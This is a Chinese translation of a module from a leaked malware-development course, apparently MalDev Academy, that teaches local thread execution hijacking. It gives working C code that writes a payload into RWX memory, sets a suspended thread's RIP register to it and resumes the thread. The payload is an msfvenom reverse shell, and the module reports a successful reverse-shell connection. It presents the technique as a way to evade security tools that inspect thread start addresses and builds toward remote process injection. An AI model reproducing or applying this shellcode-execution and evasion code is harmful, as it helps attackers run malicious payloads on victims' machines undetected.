模块 35 - 线程劫持 - 本地线程创建
恶意软件开发课程 - 线程劫持 - 本地线程创建
模块 35 - 线程劫持 - 本地线程创建#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
线程劫持 - 本地线程创建#
简介#
线程执行劫持 (Thread Execution Hijacking) ↗ 是一种无需创建新线程即可执行 Payload 的技术。该技术的工作原理是挂起线程并更新指向内存中下一条指令的寄存器,使其指向 Payload 的开头。当线程恢复执行时,Payload 将被执行。
本模块将使用 Msfvenom TCP 反向 Shell Payload,而不是计算器 Payload。使用反向 Shell Payload 是因为它在执行后保持线程运行,而计算器 Payload 在执行后会终止线程。无论如何,两种 Payload 都可以工作,但让线程在执行后仍然运行允许进一步分析。
线程上下文 (Thread Context)#
在解释该技术之前,必须理解线程上下文。每个线程都有一个调度优先级,并维护一组系统保存到线程上下文的结构。线程上下文包括线程无缝恢复执行所需的所有信息,包括线程的一组 CPU 寄存器和堆栈。
GetThreadContext ↗ 和 SetThreadContext ↗ 是两个可用于分别检索和设置线程上下文的 WinAPI。
GetThreadContext 填充一个 CONTEXT ↗ 结构,其中包含有关线程的所有信息。而 SetThreadContext 接受一个填充的 CONTEXT 结构并将其设置给指定线程。
这两个 WinAPI 在线程劫持中起着至关重要的作用,因此回顾这些 WinAPI 及其参数将是有益的。
线程劫持 vs 线程创建#
首先需要解决的问题是,为什么要劫持已创建的线程来执行 Payload,而不是使用新创建的线程来执行 Payload?
主要区别在于 Payload 的暴露程度和隐蔽性。为 Payload 执行创建一个新线程将暴露 Payload 的基地址,从而暴露 Payload 的内容,因为新线程的入口必须指向内存中 Payload 的基地址。线程劫持则并非如此,因为线程的入口将指向一个正常的进程函数,因此该线程看起来是良性的。
CreateThread WinAPI#
CreateThread 的第三个参数 LPTHREAD_START_ROUTINE lpStartAddress 指定了线程入口的地址。使用线程创建时,lpStartAddress 将指向 Payload 的地址。另一方面,线程劫持将指向一个良性函数。
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress, // 线程入口
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);c第三个参数的描述如下所示。

本地线程劫持步骤#
本节描述了对本地进程中创建的线程执行线程劫持所需的步骤。
创建目标线程#
执行线程劫持的前提是找到一个正在运行的线程来劫持。需要注意的是,无法劫持本地进程的主线程,因为目标线程首先需要处于挂起状态。当针对主线程时这会有问题,因为主线程是执行代码的线程,如果挂起它,整个程序就停了。因此,执行本地线程劫持时不要针对主线程。
本模块将演示劫持一个新创建的线程。最初将调用 CreateThread 创建一个线程并将良性函数设置为线程入口。之后,将使用线程句柄执行必要的步骤来劫持线程并改为执行 Payload。
修改线程上下文#
下一步是检索线程的上下文,以便修改它并使其指向 Payload。当线程恢复执行时,Payload 将被执行。
如前所述,将使用 GetThreadContext 检索目标线程的 CONTEXT 结构。将修改结构中的某些值,然后使用 SetThreadContext 修改当前线程的上下文。结构中被更改的值是决定线程接下来将执行什么的值。这些值是 RIP(对于 64 位处理器)或 EIP(对于 32 位处理器)寄存器。
RIP 和 EIP 寄存器,也称为指令指针寄存器,指向下一条要执行的指令。它们在每条指令执行后更新。
💡 初学者提示:CPU 寄存器
- RIP/EIP (Instruction Pointer):最重要的寄存器,告诉 CPU 下一步去哪执行代码。劫持它就等于劫持了执行流。
- RSP/ESP (Stack Pointer):指向堆栈顶部。
- RAX/EAX (Accumulator):通常用于存储函数返回值。
设置 ContextFlags#
注意 GetThreadContext 的第二个参数 lpContext 被标记为 IN & OUT 参数。微软文档中的 备注部分 ↗ 指出:
该函数根据上下文结构的 ContextFlags 成员的值检索选择性上下文。
本质上,微软是在说明在调用函数之前必须将 CONTEXT.ContextFlags 设置为一个值。将 ContextFlags 设置为 CONTEXT_CONTROL 标志以检索控制寄存器的值(包括 RIP/EIP)。
因此,执行线程劫持需要将 CONTEXT.ContextFlags 设置为 CONTEXT_CONTROL。或者,也可以使用 CONTEXT_ALL 来执行线程劫持。
线程劫持函数#
RunViaClassicThreadHijacking 是一个自定义构建的函数,用于执行线程劫持。该函数需要 3 个参数:
hThread- 要劫持的挂起线程的句柄。pPayload- 指向 Payload 基地址的指针。sPayloadSize- Payload 的大小。
BOOL RunViaClassicThreadHijacking(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_CONTROL
};
// 为 Payload 分配内存
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL){
printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 将 Payload 复制到分配的内存中
memcpy(pAddress, pPayload, sPayloadSize);
// 更改内存保护 (RW -> RX 或 RWX)
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 获取原始线程上下文
if (!GetThreadContext(hThread, &ThreadCtx)){
printf("[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 更新下一条指令指针,使其等于 Payload 的地址
ThreadCtx.Rip = pAddress;
// 更新线程上下文
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}c创建牺牲线程#
由于 RunViaClassicThreadHijacking 需要线程句柄,主函数需要提供它。如前所述,目标线程需要处于挂起状态,RunViaClassicThreadHijacking 才能成功劫持线程。
将使用 CreateThread WinAPI 创建一个新线程。新线程应尽可能显得良性以避免检测。这可以通过让这个新创建的线程执行一个良性函数来实现。
下一步是挂起新创建的线程,以便 GetThreadContext 成功。这可以通过两种方式完成:
- 在
CreateThread的 dwCreationFlags 参数 ↗ 中传递CREATE_SUSPENDED标志。该标志将在挂起状态下创建线程。 - 创建一个普通线程,但稍后使用 SuspendThread ↗ WinAPI 挂起它。
将使用第一种方法,因为它使用的 WinAPI 调用更少。但是,两种方法都要求在执行 RunViaClassicThreadHijacking 后恢复线程。这将使用 ResumeThread ↗ WinAPI 来实现,它只需要挂起线程的句柄。
主函数#
重申一下,主函数将在挂起状态下创建一个牺牲线程。该线程最初将运行一个良性的虚拟函数,然后使用 RunViaClassicThreadHijacking 劫持该函数以运行 Payload。
int main() {
HANDLE hThread = NULL;
// 创建处于挂起状态的牺牲线程
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &DummyFunction, NULL, CREATE_SUSPENDED, NULL);
if (hThread == NULL) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 劫持创建的牺牲线程
if (!RunViaClassicThreadHijacking(hThread, Payload, sizeof(Payload))) {
return -1;
}
// 恢复挂起的线程,使其运行我们的 shellcode
ResumeThread(hThread);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}c演示#
mainCRTStartup 是运行主函数的主线程,DummyFunction 线程是牺牲线程。

下图显示被劫持的进程建立了网络连接。这意味着 Payload 已成功执行。

成功的反向 Shell 连接。

🎯 总结#
在本模块中,我们学习了:
- 线程上下文:理解 CPU 寄存器状态是如何保存在
CONTEXT结构中的。 - 线程劫持原理:通过修改 RIP/EIP 寄存器,强行改变线程的执行流。
- 牺牲线程:创建一个良性的挂起线程,作为 Payload 执行的宿主。
- 关键 API:
GetThreadContext-> 修改 Context ->SetThreadContext->ResumeThread。
💡 关键要点
- 线程劫持比
CreateThread更隐蔽,因为新线程的起始地址指向的是合法代码(DummyFunction),而不是可疑的 Shellcode 内存区域。- 这欺骗了一些基于“线程起始地址”进行检测的安全工具。
- 在本地进程中劫持意义有限,真正的威力在于远程线程劫持(下一个模块)。
📚 下一步学习
下一个模块将介绍 Thread Hijacking - Remote Thread Creation。我们将把刚才学到的技术应用到远程进程上,实现更高级的注入!